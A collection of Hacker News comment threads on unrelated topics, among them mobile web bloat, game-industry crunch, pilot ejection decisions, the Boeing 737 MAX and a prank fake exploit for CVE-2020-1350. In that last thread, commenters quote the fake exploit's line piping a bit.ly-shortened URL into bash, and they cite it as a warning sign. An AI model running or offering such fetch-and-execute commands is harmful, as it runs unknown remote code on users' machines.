Joan Feynman, who shined light on the Aurora Borealis, dies at 93 - <AUTHOR> https://www.nytimes.com/2020/09/10/science/joan-feynman-dead.html <comment><USER2> It's 'shone' no? Or is that another one of those UK Vs US English things?

<comment><USER3> The use is transitive, so "shined" is correct. "Shone" is the past tense of the intransitive form of "shine". See, [https://www.chicagomanualofstyle.org/qanda/data/faq/topics/U...](https://www.chicagomanualofstyle.org/qanda/data/faq/topics/Usage/faq0302.html)</comment></comment>


Twitter is rolling out 280-character tweets around the world - <AUTHOR> https://www.theverge.com/2017/11/7/16616076/twitter-280-characters-global-rollout <comment><AUTHOR> I wish Twitter employees used Twitter</comment>


Our best practices are killing mobile web performance - <AUTHOR> http://molily.de/mobile-web-performance/ <comment><USER2> Why isn't there a way for devices to indicate to a server if they are on a slow or data-capped connection?

It seems like "responsive" web design is based entirely around the size or pixel-density of a device's screen. But why can't the experience respond to the speed of a user's connection, or the amount of data the user can afford to download?

My phone already knows I have a hard data cap when I'm off wifi. Why can't it include a field in its request to every web server indicating I would like the smallest amount of data possible, and then properly configured servers can respond by omitting large images, videos, font files, etc. We have srcset for images, but AFAIK choosing which image to use is still based on screen size rather than bandwidth. And we need to get beyond srcset - as a content creator, I want to be able to mark some images and other heavy resources as optional, so I don't reference to them at all to bandwidth-sensitive devices.

<comment><USER3> _Why isn 't there a way for devices to indicate to a server if they are on a slow or data-capped connection?_

There is. I'll update this post if I remember what it is, but I believe there's a spec and Chrome Canary is supporting it. It uses an HTTP header.

<comment><USER4> Navigation Timing API [https://developer.mozilla.org/en- US/docs/Web/API/Navigation_...](https://developer.mozilla.org/en- US/docs/Web/API/Navigation_timing_API)

I have a feeling there is something else but I have trouble remembering it, too, and I bet I have it bookmarked to study when I have the need to use it.

<comment><USER3> That's a good one, but it wasn't that.

It's something that literally gets clients to add an HTTP header to specify that bandwidth should be "saved".

Actually, that reminded me of what it was called.. haha, it's [https://developers.google.com/web/updates/2016/02/save- data?...](https://developers.google.com/web/updates/2016/02/save-data?hl=en) .. The header is: Save-Data: on.

</comment></comment></comment></comment><comment><USER5> The worst is when you start scrolling and an ad "lazily loads" under your finger, using your touch to switch you out of the browser and onto an app store page. It makes you reluctant to even start interacting with a page before you're sure it's done loading.

<comment><USER6> I thought touch/scroll events were distinguished thus:

Finger down -> finger up = touch

Finger down -> move -> finger up = scroll

How does a scroll get interpreted as a touch? It sounds like a bug to me.

<comment><USER7> The ads pop up right underneath your finger in the lag between deciding to scroll and your finger touching the screen to drag. With the page jerking around underneath you that seems to end up being classified as a click rather than a drag, and away you go to whatever piece of crap you really don't care about.

</comment></comment></comment><comment><USER8> In europe, the requirement for the annoying cookie compliance popups puts the final nail in the coffin for mobile browsing.

<comment><USER9> [https://addons.mozilla.org/en-US/firefox/addon/i-dont- care-a...](https://addons.mozilla.org/en-US/firefox/addon/i-dont-care-about- cookies/) works well for me.

<comment><USER10> Another alternative is the Prebake filter set [1] for uBlock Origin.

[1] [https://github.com/liamja/Prebake](https://github.com/liamja/Prebake)

<comment><USER9> Thanks! One less add-on, one more list for me. :)

</comment></comment></comment></comment><comment><USER6> Over the years I've developed a bit of a habitual response of repulsiveness whenever I hear the term "best practices" being used as a dogmatic justification for doing anything, often completely missing the actual situation at hand. It basically says "I don't want to think."

Related article: [http://www.satisfice.com/blog/archives/27](http://www.satisfice.com/blog/archives/27)

That said, a lot of what I see in web development seems to be churn and features-for-the-sake-of-features bloat, and I think much of it has to do with the fact that the basics of a useful page --- images, text, hyperlinks, and some styling --- were essentially solved problems many years ago, so all web developers are left with is constantly trying to "reinvent" and "innovate" things that were, albeit not perfect, entirely usable. The "do everything in JS" trend is one of the clearest examples of this, as well as the "appification" of sites that are perfectly fine as a collection of statically linked pages. Blogs are the most common example of this that I come across --- instead of displaying the content using HTML, they require the browser to download and execute a huge blob of JS that often exceeds the size of the post content itself, just to show that exact same content, sometimes even making another (AJAX! It's awesome, so let's try to use it everywhere!) request to fetch that content in a different format, parse it, and then render it back into HTML. It sounds very Rube Goldberg, yet a lot of developers think this massive waste of resources is somehow normal.

Thanks to the Internet Archive, you can try visiting the BBC site from (exactly!) 10 years ago on your mobile device:

[http://web.archive.org/web/20050521031013/http://www.bbc.co....](http://web.archive.org/web/20050521031013/http://www.bbc.co.uk/)

I don't have a mobile device with me at the moment, but it's clearly less "fluffy" than the page today, and loads essentially instantly even from IA's not-so-fast servers.

<comment><USER11> I think "Best Practices" are a good thing, so long as you understand why they are best practices and in what situations. They are bad thing when they are simply dogmatic cargo-cult programming without that understanding.

Moreover, I think they're a good thing as a short hand when thinking about problems. You don't have to think about why this is a best practice for every problem you encounter, because if you did, you'd never get anything done. i.e., Why don't we write all of our code in a single main method? Oh yeah, because it becomes a nightmare to find bugs, update to add new features, reuse algorithms inside it...etc...etc. Instead of going through the rationalization every time, the Best Practices rule of thumb generally works out.

Where it doesn't work out is if you've never done the exercise of why they're best practices in the first place. For every best practice I follow, I have understood the justifications and as a result, have developed an intuitive sense for when my situation is the exception to the rule. Or, if my intuition fails me and it gets questioned, I can re-run the exercise and perhaps change my mind.

</comment></comment><comment><USER12> Gratuitous use of background videos, large JS, large CSS, many fonts, and so on degraded the desktop web performance as well. It's not a mobile-only problem. Compare scrolling on HN with scrolling on a random startup page and consider the provided content.

<comment><USER13> All kinds of site are guilty of bloating their sites, without any real reason. Take PayPal, their site is slow enough as is, so why do I need to see a short video of a barista just to login. That's kinda stupid and has nothing to do with PayPal.

Aiming for a lighter site wouldn't just be good for mobile, it helps everyone. There's currently to much focus on presentation and to little on content. Even if the content is good, sometimes the presentation just get in the way.

</comment></comment><comment><USER14> While most in this article is true and has to be considered, in the real world of corporate production it will not work. Is is not user you have to care about. You have to keep happy your ignorant PM, that is all. Unless you are happy to put significant effort into inobtrusive education of your manager or PM, your efforts to enhance user experience will be most likely doomed.

<comment><USER15> That's been my experience as well, and it's so demoralizing. I've worked on many projects where we, the developers, took effort to produce a lean, functional, snappy website, on for the PM's to then order us to implement _multiple_ tracking tools, ad systems, and 'widgets' that would turn the site into a bloated abomination and reduced it to a crawl.

The 'funny' part is that the sites would sometimes break without anyone noticing, because every developer and PM would have an ad blocker installed that filtered out the 'extras' that caused the breakage...

</comment></comment><comment><USER16> My favorite is [https://www.schwab.com](https://www.schwab.com).

If you attempt to type your username & password while the page is loading, it'll keep trying to clear & refocus the username field. It forces you to wait for 5 to 10 seconds before you can use it. If you are typing without looking at the page, you will often end up entering a part of your password in clear in the username field. If you're impatient, you might even hit enter accidentally and send your password as your username to the server. Yahoo mail used to be like that, haven't used it in a long time.

</comment><comment><USER17> The biggest "best practice" that needs questioning is the excessive use of client side JavaScript. 90% of the websites out there would be able to provide all their functionality with server-side rendering, except that's considered unfashionable or something. I think it's partly web designers inventing fads to keep themselves relevant -- if you're a web developer, you have a financial incentive to try to persuade your customers that their perfectly working site needs redesigned every 3-5 years to feel "modern".

But as a user, that's not really relevant. I want to browse the web of 2004 on the internet connection of 2016.

<comment><USER18> So then how do you handle all your dynamic behavior, or are you actually suggesting we go back to the click-wait-click-wait paradigm of stateless web applications?

Having client side JavaScript should not really add much to the overhead. Yes, the initial load time will be larger, but every subsequent request will be quicker because the server doesn't need to generate the markup and send it along the wire on every click.

<comment><USER19> Using JavaScript rarely seems to fix click-wait-click-wait. It just replaces the browsers spinner with a javascript spinner.

Raw HTML provides prefetch hints. That, combined with fast servers and replication to ensure those servers are near your users, are all a fast website needs.

Of course if your website is actually an app then maybe it shouldn't be a website to begin with.

</comment></comment></comment><comment><USER20> I wonder if Google altering their SEO rating to test for "page jank" would impact this.

Remember the adage "you get what you measure" well, for a while Google has been awarding time to document ready (or some such) as their page speed test.

What if they started measuring post page load stuff?

Seo teams could start to measure page stability and budget for it.

<comment><USER21> I doubt it (perhaps smaller players might get hit though). Google apparently measures for page speed but I don't see any evidence that the worst offenders (e.g. major news sites) are losing page rank for having "heavy" pages. It seems that if you have a powerful brand, you can operate above what Google suggests webmasters do. At least that's how I see it from my perspective.

</comment></comment><comment><USER22> I'm probably the wrong person to ask because I hate most websites which aren't just JavaScript free pages with text and a few relevant, tasteful images, but don't people who "design" websites actually check what they look like on mobile devices, and how they act under the average 3g data speed?

<comment><USER23> Yeah, they do check how the sites look on mobile devices. They might also test them under the average 3g data speed, though there are a lot of developers who just use the office wifi and assume it'll work fine everywhere else.

<comment><USER24> And they should be chastised.

I generally only make "enterprisey" web apps these days, but I will make sure they are usable all the way down to a 2G connection.

And you don't just do this on the $800 top of the line phone, you try it on other OS's, last year's model, a model from 3 years ago, that 2 year old phone from my mother in law that is still crapped up with games and other stuff so it runs extra slow, and then you adjust accordingly.

And the thing is this really doesn't take that much longer, and in the grand scheme of things budgeting for a few older devices to test on is cheap as shit.

</comment></comment></comment><comment><USER25> Good points, but you should consider the experience of using a better mobile browser. Opera Mini isn't exactly up to date with modern web standards..

<comment><USER26> I use the latest Chrome on Android and I have pretty much the same experience.

</comment></comment><comment><USER26> I am very happy to see that somebody finally wrote all of this down!

Perhaps it's time for a wall-of-shame which automatically gathers and displays performance data for famous mobile websites to pressure people into fixing stuff?

<comment><USER27> Exactly,

"the page is jumping around"

This is what most annoying experience during mobile web browsing.

<comment><USER26> Just reading the word "jumping around" pisses me off a bit...

But seriously, after 20 years of web development this is what we end up with? Millions and millions of man hours invested in this and the experience is worse than ever.

Somebody should write a "mobile web is a ghetto" rant and then we should start burning all of this down and start over with a fresh list of best practices.

</comment></comment></comment><comment><USER28> It's important to realize the _why_ for all this. Every site wants to be lean and fast, but they arent because it's ultimately a trade-off between the time, effort and talent available.

Even the BBC which has enough funding and a good tech staff is likely working with some bloated content management system that automatically generates overweight pages. Add in all the ads and other widget functionality, media and various customizations and themes and this is what we end up with.

There won't be any major progress until there's a big cause to prioritize this (as in a major loss of traffic or revenue) or there are tools that will automatically reformat and optimize pages (certain CDNs are getting into this heavily now).

<comment><USER29> No, its because a handful of bloggers decided doing everything client side was the proper and true way to develop a web site. Other developers, being easily influenced, have followed that dogmatically instead of using their heads.

<comment><USER28> Poor developers are covered under "talent" mentioned above.

</comment></comment></comment><comment><USER8> Let's just please stop using custom fonts. I can tolerate the other stuff, but having to wait forever without being able to read anything because i m waiting for your custom font to load is just stupid, and it happens often.

</comment><comment><USER30> Universal rendering, works without javascript

And not filling the page with crap

</comment><comment><USER31> > "Unobtrusive JavaScript" is an decade-old technique I have already critized > in an earlier article. JavaScript is considered "unobtrusive" when it adds > additional behavior to an existing, self-sufficient HTML structure. Once the > JavaScript kicks in, it changes the HTML DOM and adds behavior. Inevitably, > this leads to significant content changes and reflows.

I completely agree with the author on the fact that this is a problem, but I don't understand blaming it on "unobtrusive javascript." Adding behavior doesn't require a reflow.

</comment><comment><USER32> The number of times I have miscliked because page is still loading and jumped the buttons. Or losing my already filled content.

And I'm on a fast 4g network and good phone, LG G3

</comment><comment><USER33> Mobile browsing is awful enough that I avoid it as much as possible. There's a few sites I trust or need that I use (wikipedia, a couple of news sites, train time tables), but otherwise I restrict my web browsing to the laptop.

It wouldn't need to be so, but as long as browsing on my phone makes me angry and frustrated, there's no point in engaging the Internet on my phone. I'll just use my phone was what it was intended for: reading ebooks.

<comment><USER9> What makes you so angry and frustrated about it?

<comment><USER33> The article this discussion has a lot of the points that make it unpleasant to me.

Everything is slow. I don't dare touch the page until it's fully loaded (and I don't always know that has from the browser's progress bar) and stops jumping around. Pages are designed for bigger screens (they don't fit on my phone's screen in a useful way) or better eyes (fonts are really tiny). Also, the phone is just a bad device for doing anything complicated, such as following a link (hard to hit tiny links with thick fingers) or looking up information from multiple sources ("tab" handling is abysmal, at least with Chrome on Android). Etc.

<comment><USER9> Give a system-wide ad-blocker (AdAway) and Opera Mobile a try. You can zoom in and it will reflow the text to make it nicely readable. I wish I could switch to Firefox but the lack of reflow is an incredibly weird anti-feature.

<comment><USER34> I was very sensitive about this problem, and incredibly angered when text reflow was gradually dropped thanks to Google, and when of course Mozilla happily followed suit. But I must admit that on the web of today it is rarely an issue.

If you want text reflow on touch working on Firefox for Android, you've got this:

Text Reflow by david2097152 [https://addons.mozilla.org/en- US/android/addon/text-reflow/](https://addons.mozilla.org/en- US/android/addon/text-reflow/)

and its always-active fork:

Android Text Reflow by richmoz [https://addons.mozilla.org/en- US/android/addon/text-reflow/](https://addons.mozilla.org/en- US/android/addon/text-reflow/)

This could also come in handy:

Fit Text To Width by Jarrad [https://addons.mozilla.org/en- US/android/addon/fit-text-to-w...](https://addons.mozilla.org/en- US/android/addon/fit-text-to-width/)

<comment><USER9> Oh, I too thought those would be workarounds but they are not.

The first two say: _" This means it will only reflow ONE THING AT A TIME. If the page has 50 paragraphs, you will have to tap once on all 50 to reflow the whole thing."_

The third one simply does nothing for me.

<comment><USER34> Just tap on the next paragraph when scrolling. Scroll, tap, repeat. Your thumb will do that automatically while you're still reading the paragraph above.

EDIT: I just tried the third one by zooming in on a few desktop sites and I'm impressed. Make sure text size is set to "tiny" in the accessibility settings. It definitely works for me™.

</comment></comment></comment></comment></comment></comment></comment><comment><USER35> The two things that aggravate me most about web sites are (a) important stuff loads last only to find it's not even worth reading and (b) reflows where page content jumps around as I'm reading it or trying to click a link. Wait, let's add inability to scroll or content freezing for some amount of time due to crap I don't need. Author of this piece is on point tackling all three problems. If most sites did, it would prevent most of the headaches I have going to them.

It's not just a gripe either. I often avoid sites that do this stuff in favor of others that might have content or service I need without the headaches. The ones that have little competition or all do stupid stuff still get my visits. Just fewer of them due to the headaches. I doubt I'm the only one that reacts these ways.

</comment><comment><USER36> I wish Google would penalize websites based on bloat like they do websites that are not mobile-enabled. Of course they won't/can't since the bloat contributes to their bottom line.

</comment><comment><USER37> Nice read. Google's been working on AMP ([https://www.ampproject.org/](https://www.ampproject.org/)) to deal with this. They're applying a pretty strict policy to speed up rendering on mobile pages by trying to be as specific as they can upfront to determine the layout up front.</comment>


The Human Cost of Call of Duty: Black Ops 4 - <AUTHOR> https://kotaku.com/the-human-cost-of-call-of-duty-black-ops-4-1835859016 <comment><USER2> As far as I understand this is the norm in the game industry and has been for as long as I can remember. A friend who has worked in the industry (lead dev) for more than twenty years recounted to me several times that during crunch time he'd effectively live at work for 2-3 weeks before major game launches. You won't be surprised to hear his marriage did not survive this type of unhealthy work environment.

</comment><comment><USER3> I'm not an expert in US labour rules but isn't this how contract workers are treated everywhere, not just at Treyarch? My understanding is that if contract workers receive the same benefits like happy hours, catered lunches etc., they can sue the company claiming that they were being treated like full time employees and therefore deserve the other benefits due to FTEs, like bonuses. Which is why companies like Treyarch go out of their way to be dicks about this, explicitly reinforcing the message that they are not FTEs.

Happy to be corrected here if I'm mistaken about this.

<comment><USER4> Yep. Funnily enough, it was a lawsuit against Microsoft that triggered this. A court said that Microsoft had to give the group in the class action compensation for not giving them ESPP ([https://www.nytimes.com/2000/12/13/business/technology- temp-...](https://www.nytimes.com/2000/12/13/business/technology-temp-workers- at-microsoft-win-lawsuit.html)) and health benefits etc.

(My recollection is that since ESPP was given to every employee, but stock options were supposedly merit-based, they were able to sue for ESPP and not options, contrary to what the article says)

Anyway, that led to a hard separation of temps vs permanent employees in the tech industry, and probably other industries with similar compensation schemes.

Of course, US companies have always been scummy with regards to this kind of thing. I remember when Microsoft moved receptionists from being permanent employees to temps. There were probably fewer than 50-60 affected at that point, so it just felt like unnecessary cheapness to me. For a company that was making dozens of people millionaires every day at that point (mid 90s).

You can blame those sorts of things on the drive for shareholders to extract the last drop of blood from a stone. The management must show growth in stock, damn the human toll.

Game companies on top of the perm/temp caste system, also have a QA/not-QA hierarchy. They treat QA as a job that anyone can do and treat the people accordingly. Of course, good QA lead is valued more. Lots of young people wanting an in to the games industry are willing to do the job for low pay, so that doesn't help.

It would be nice if employers could be nice to all employees, but that's not how capitalism works. Every SV tech company that has masseuses and yoga for their employees also has contract janitors, cafeteria workers, security etc. Not to mention things like IT support and other better-paying jobs that are still temporary or outsourced.

You might say "well those people are not essential to the company", but that's exactly what game developers say about QA.

The way Treyarch treats QA seems particularly shitty, but I'm not surprised. If you start treating them the same as employees, you are literally asking for a lawsuit demanding equal compensation sooner or later.

(Now, in my opinion, they should get equal compensation, but that's an argument for another thread. Or likely another site).

As far as crunch goes, I challenge anyone who's ever worked on products with hard ship deadlines to tell me that they haven't had to crunch. Companies like Blizzard (pre Activision anyway, because they were private) could afford to "ship when it's ready" for their games, but most publishers don't have the luxury.

You've put tens (or hundreds) of millions of dollars into a game and it needs to ship on time or you cede buzz/momemntum to a competitor, end up out of the holiday season, or whatever.

It's not that the game industry is particularly horrible with crunch. It's just that no one else really ships packaged software within time constraints any more, so games look bad comparatively.

</comment></comment><comment><USER5> Sounds like the playtesters should form a union and collectively bargain.

<comment><USER6> The union won't be recognised by the company and they will all be fired at worst, ignored at best.

Sadly the viable options really are either to leave the games industry or band together and form your own company and do things "right"

<comment><USER7> Unionising or even mentioning it while employed as a contractor is going to ensure a cancellation. As unfortunate as it is, it's desperately needed.

</comment></comment></comment><comment><USER8> The title makes it sound more like the inevitable requirement for releasing the game, though with $1.1 billion profit (figure from few months back) it's more like the human cost for maximizing profits.

</comment><comment><USER9> Related: really interesting SEGA video from 1996. Training video for their testing department. "This is SEGA Test":

[https://youtu.be/kTHghq6DNBE](https://youtu.be/kTHghq6DNBE)

<comment><USER10> Even in this video, it's mentioned that they sometimes work up to 100 hours in a week. This was 23 years ago. Has no progress been made at all?

<comment><USER11> And it goes back farther than Sega, E.T. for Atari was such a big charlie foxtrot because Atari went to Howard Scott Warshaw and was like (paraphrasing) "hey you have 5 and a half weeks to get a title ready for launch, by yourself, we've got this rights deal with Spielberg in the works and want to launch for Christmas".

For context he had 5 and a half weeks for E.T., he spent 7 months working on Yars' Revenge and 6 months on Raiders of the Lost Ark.

</comment></comment></comment><comment><USER12> Half the problems are solvable with allowing remote work, including the issue with such low pay in LA. But that will mean more chance of leaks.

</comment><comment><USER13> For $15/hr, can they not find employment elsewhere (even in a different industry) with less-terrible work conditions?

</comment><comment><USER14> something seems so 2019 about "the human cost of building a videogame that glorifies the human cost of war" or something</comment>


Ejection Decision (2016) - <AUTHOR> http://www.verticalmag.com/features/ejection-decision/ <comment><USER2> > More than one pilot being interviewed stated that his decision to eject > wasn't made in the heat of the moment. The decision was made years before, > in training, after careful thought. "If I encounter these conditions, I will > take this action." These guys made their decision early. When they > encountered the conditions they acted. Without thought. Without hesitation.

This is also good advice for making ethical decisions, especially when situations or people in power suggest otherwise.

<comment><USER3> Not the first time I've heard somebody say this.

If you want to do the right thing under severe temptation to do otherwise (at least consistently) you you need to have made that decision in advance, otherwise the situation will overwhelm your ability to process it and make good decisions. If you don't you're effectively leaving the outcome to chance, or perhaps whether you ate a good breakfast that morning.

Also helps when dealing with difficult/angry/argumentative people, or when you're arriving at work into what you know is a difficult situation.

<comment><USER4> A few examples would be illustrative. It's unclear how immutable beliefs about moral judgements are a good thing. That seems like the basis of prejudice, for example.

<comment><USER5> Decisions like "I will not sleep with a woman who is too drunk to climb a flight of stairs unaided" and "I will run rather than using this utility knife in a fistfight" are much easier to make objectively when you're calm and sober, rather than waiting until your blood stream is full of alcohol, adrenaline and testosterone.

<comment><USER6> Yeah this is basically the gist of it. In the heat of moment, at the apex of a moral dilemma, it is likely that your body will have a lot of things operating upon it, and a large cognitive load to track just to keep tabs on the environment.

If you mix in the obligation to make an important moral decision, especially one that sacrifices evolutionary benefit for abstract social benefit like "I will not engage in a violent reaction when I feel offended" or "I will not copulate with this apparently willing and attractive potential sexual partner", well, we could say that it's likely that /usr/bin/moral_override will time out and your body will default to the path of least resistance for itself in that moment.

Thus, rehearsing for good outcomes in high-pressure situations is like tuning a configuration file to ensure reasonable behavior in known potential failure modes. You can hope that you won't hit the failure modes described (or you can plan ahead, knowing you eventually will, which is the better option), but you want to make sure that your system will behave appropriately when those modes are encountered. Leaving the behavior undefined or trusting the defaults is too risky for anything important.

</comment></comment></comment></comment></comment><comment><USER7> HEMS is one of the few areas of emergency services that is _actually_ a dangerous line of work. It's on par with commercial fishing and logging in terms of fatalities per 100,000 workers (as opposed to "regular" fire/EMS/law enforcement jobs, which are safer than being a traveling salesman). I'd love to do flight EMS, but it's not a risk I feel I can responsibly take with a wife and kids (to put that into perspective, "crawling into burning buildings" falls on the other side of that line for me)

A large majority of the fatal incidents are "scene" calls (as opposed to inter-facility transfers), and stem from pushing past the edge of the envelope like this article describes. There is also some sad irony in the fact that the patients that are most likely to induce this level of pressure (those closest to death) are also ones that are least likely to benefit from the additional risk taken (i.e. they're gonna die anyway).

Around here the majority of scene medevacs are flown by the county sheriff's office. All of their pilots are former military aviators, and are very, very good at flying. I've watched them put helicopters places I wouldn't fly my quadcopter for fear of losing it... Their skills have definitely made the difference between life and death for patients I've handed over to their flight crews. I have a lot of respect for what they do, but I also worry for my friends that fly...

</comment><comment><USER3> The training video linked off the article is also worth a watch: [https://www.youtube.com/watch?v=Aa1Ba_NEobs](https://www.youtube.com/watch?v=Aa1Ba_NEobs)

</comment><comment><USER8> This reminded me how fascinated I am by disaster reports.

Into Thin Air got be fascinated with mountaineering, but the next few books I got were all accident reports.

</comment><comment><USER9> We have a similar thing at work: if we're deploying, and start getting paged for error rates, the default action is "roll back!" We explicitly _don 't_ try to figure it out before we roll back or try some heroics to fix it or whatever. Just roll back!</comment>


The day I trolled the entire internet: accidental research project CVE-2020-1350 - <AUTHOR> https://blog.zsec.uk/cve-2020-1350-research/ <comment><USER2> This post requires a lot of context to make sense out of. Unless you are in the security space and familiar with what happened last 36 hours, it probably won't make much sense quickly.

1) Microsoft has a critical flaw in DNS server

2) A security company publishes the info - no public exploit available at this point

3) Someone creates a fake exploit - playing a prank on hackers and other security companies

4) Lots of people ran the prank code or helped spread the existence of the fake exploit

Not sure if this makes it easier to understand- at least I tried. :)

</comment><comment><USER3> This is very difficult to read and understand.

<comment><USER4> That's my take. Just random garbage. There is a thread of something in there, but I don't have the time/ energy to quite get it. Something about a fake hack, Rickrolling, and piping curl to the shell. Beyond that I gave up because it's too poorly organized.

<comment><USER5> Yeah they completely fail to explain the context.

CVE-2020-1350 is a real vulnerability that was published just yesterday:

[https://nvd.nist.gov/vuln/detail/CVE-2020-1350](https://nvd.nist.gov/vuln/detail/CVE-2020-1350)

It's a brand new vuln so people would be interested in a proof of concept. The author created a git repo that was nominally a PoC exploit for this vulnerability but was really just a troll, and publicized it on twitter.

Some people ran the "proof of concept" code without reading it first and got trolled. If the author had been malicious they could have done something much worse than rickrolling.

The repo also contains a real fix for the vulnerability.

This is a particularly "amusing" troll because the sort of people who keep up with CVEs and look for proof-of-concept exploits should really know better than to run random code they just got off GitHub without checking what it does.

It's obvious with the most _cursory_ examination of the code in the repo that you shouldn't run it, exploit.sh contains:

       curl -L https://bit.ly/3exifav | bash

</comment></comment></comment><comment><USER6> Took one glance at the shell script piping curl to bash and red flags went up everywhere! Not only piping curl to bash, but doing it via a bit.ly link. Then Twitter and the media started to pick it up and pass it on unverified. I should have been shocked, but I wasn't. I'd love to see the bit.ly stats for the short URLs added to the article.

</comment><comment><USER7> I'm sure people are stupid, I've seen it myself too many times to count, but how does he know that these weren't executed in a VM? A couple hundred shells isn't so much that I'd rule out that some non-trivial fraction of them were under analysis.

</comment><comment><USER8> I imagine the reason this doesn't happen too often in serious domains is because the next time the person says/posts anything, will they be believed without checking their claims? Of course, in security, this may even be a good thing?(!) :-)

</comment><comment><USER9> I think the interesting thing here is that outlets like Vulcan picked it up and wrote about it with authority. Linking to the repo from these "trusted" sources likely gave it a lot more credibility than it would otherwise have received.

</comment><comment><USER10> Is the blog post fake too? Seriously, this was hard to read...

</comment><comment><USER11> I was unable to scroll this article on mobile to read it. It seems like it could be interesting, but it's too bad about the technical obstacles to doing so.

</comment><comment><USER12> With the numbers shown "the entire internet" is really more than exaggerated and thus the title seems pretty clickbait-y.

</comment><comment><USER13> TL;DR: posted fake PoC on GitHub. (I think, the post is littered with embedded tweets and memes, super hard to read or make sense of any of it)

<comment><USER14> Yeah, I think that's the gist. Fake PoC of a CVE, people ran random code, author caught them in the act via a canary token [0] and rickrolled them.

0: [https://blog.thinkst.com/p/canarytokensorg-quick-free- detect...](https://blog.thinkst.com/p/canarytokensorg-quick-free- detection.html)</comment></comment>


Android Marshmallow finally passes 1% adoption after 4 months - <AUTHOR> http://venturebeat.com/2016/02/02/android-marshmallow-finally-passes-1-adoption-after-4-months/ <comment><USER2> Article tries to pass judgment on Nexus sales based on Marshmallow adoption. With Android estimated at 1.2B handsets in 2015, 1.2% is roughly 14M phones. Even knocking down to 10M for Nexus alone, thats still not a bad number given how little advertising Google does.</comment>


Ask HN: What is your favorite way of setting up online store in 2018? - <AUTHOR> What services and technologies do you use when you'd like to quickly build a small online store? Can you provide some ideas on where to start? What are some simple things I can build by myself? Any ideas? <comment><USER2> Reddit's /r/entrepreneur has a great selection of posts on this:

[https://old.reddit.com/r/Entrepreneur/search?q=shopify&restr...](https://old.reddit.com/r/Entrepreneur/search?q=shopify&restrict_sr=on&include_over_18=on&sort=relevance&t=all)

Generally speaking it seems that Shopify is the most popular platform for quickly deploying a store and easily adding on features you need.

The steps are usually along the lines of:

\- Pick a product/niche

\- Pick a store name

\- Build out a store website (on Shopify, for example)

\- Run targeted ads on Facebook, Reddit, Google

\- Figure out logistics for stocking/shipping

\- Cross your fingers and hope that your store somehow beats out the thousands of other stores out there...

It's definitely gotten harder and harder to "win" with a small online store now that Amazon and other web retail sites are so dominant. You might want to consider selling a product directly on Amazon with FBA or another established site like eBay.

</comment><comment><USER3> Shopify. No point making a small store yourself.</comment>


Boeing CEO refuses to admit 737 MAX 8 is flawed - <AUTHOR> https://www.news.com.au/travel/travel-updates/incidents/boeing-ceo-dennis-muilenburg-refuses-to-admit-flaws-in-737-max-8-aircraft/news-story/391433575d9985759c1197eecf9309be <comment><USER2> [https://news.ycombinator.com/item?id=19782673](https://news.ycombinator.com/item?id=19782673)

</comment><comment><USER3> Well obviously. A CEO admitting such a fault would be a CEO committing career suicide and would cost the company many billions.

Public discourse such as it is means never showing volnurability because you will get slaughtered.

</comment><comment><USER4> Well "do not admit fault" is basic advice that is printed on every auto insurance card and something that any lawyer will tell you for free. Do they really except the CEO of a large multinational company to just randomly say "yeah, it was totally our fault, sue us"?

</comment><comment><USER5> Muillenberg's assurances that they will fix everything on their own are not very convincing. The existence of such a terrible design -- a single sensor that has complete control over the horizontal stabilizer -- points to one or more teams or management chains within Boeing that are turning out shoddy work. They have undoubtedly turned out other shoddy work, and will likely continue to produce more shoddy work that will kill more people. An outside team needs to be brought in to investigate engineering and management. Immunity against lawsuits and job losses need to be assured, but we need to discover exactly what led to this so more terrible engineering ideas don't find their way into the next crop of airliners that we will be trusting our lives to.

</comment><comment><USER6> Anyone have any idea if a MAX10 is materially different than a MAX8?

I did some research and found that it only appears to be nominally longer? [1]

1\. [https://www.boeing.com/commercial/737max10/index.page](https://www.boeing.com/commercial/737max10/index.page)

<comment><USER7> The issue with the MAX8 is that it is fundamentally imbalanced. The larger heavier engines are tacked on to an airframe similar to the existing 737, constantly causing the plane to tip forwards, such that repeated tiny changes are required to maintain level flight. It is these tiny changes that are automated by software and can cause a crash when fed faulty sensor data.

The MAX10 is a significantly longer aircraft. The forwards rotation of the larger heavier engines is better balanced by the forces imparted by the tail acting over a longer lever arm, so the problematic sensor-driven software- controlled tiny changes aren't required.

</comment></comment><comment><USER8> The admission would tank Boeing stock, and invite a barrage of lawsuits. This is a delicate line to tow, that of providing for tens of thousands of employees, versus providing closure to loved ones of the dead.

<comment><USER9> First and foremost he is serving the company shareholders. The other concerns are secondary.

</comment></comment><comment><USER10> >"It's not correct to attribute that to any single item."

What a lying sack of shit. A single failed sensor caused the plane's automatic systems to nosedive it into the ground.</comment>


Organic synthesis: The robo-chemist - <AUTHOR> http://www.nature.com/news/organic-synthesis-the-robo-chemist-1.15661

<comment><USER2> Shameless self promotion: Our startup is working on exactly this product, though currently launching for a subset market niche..

Www.LabMinds.co if anyone is interested

<comment><USER3> Very cool, looks like it could be especially useful in creating solutions for protein crystallization set ups.

</comment></comment><comment><USER4> Are there any databases like Reaxys that are publicly available with sane (or even permissive) licensing terms? It looks like the stumbling block for retrosynthetic analysis is getting that large amount of reaction mechanism data, not necessarily figuring out the exact rulesets up front. You can use very limited rulesets if your target space is as overwhelmingly large as 10^60.

</comment><comment><USER5> There is a reddit thread in /r/chemistry with a lot of good comments about it: [http://www.reddit.com/r/chemistry/comments/2csa44/organic_sy...](http://www.reddit.com/r/chemistry/comments/2csa44/organic_synthesis_the_robochemist_the_race_is_on/)

</comment><comment><USER6> Reminds me a bit of these experiments with 3d printed silicone reaction vessels.

[http://www.nature.com/news/homegrown-labware-made- with-3d-pr...](http://www.nature.com/news/homegrown-labware-made- with-3d-printer-1.10453)</comment>


Dunkin' Donut stores using facial-recognition system to serve targeted ads  - <AUTHOR> http://www.guardian.co.uk/media/2008/sep/15/privacy.advertising?gusrc=rss&feed=technologyfull <comment><USER2> _Two Dunkin' Donuts stores are about to start trialling a system that can scan your face and play an advert on a digital screen that is targeted to your age, gender and demographic group_

ie, racial profiling, stereotyping, etc ... another reason why I avoid the chains now and go to the local neighborhood stores where _people_ recognize my face know my name.

<comment><USER3> _I avoid the chains now and go to the local neighborhood stores where_ people _recognize my face know my name._

<http://www.reason.com/news/show/122019.html>

 _Economists have been at war with the make-work bias for centuries. The 19th- century economist Frederic Bastiat ridiculed the equation of prosperity with jobs as "Sisyphism," after the mythological fully employed Greek who was eternally condemned to roll a boulder up a hill.

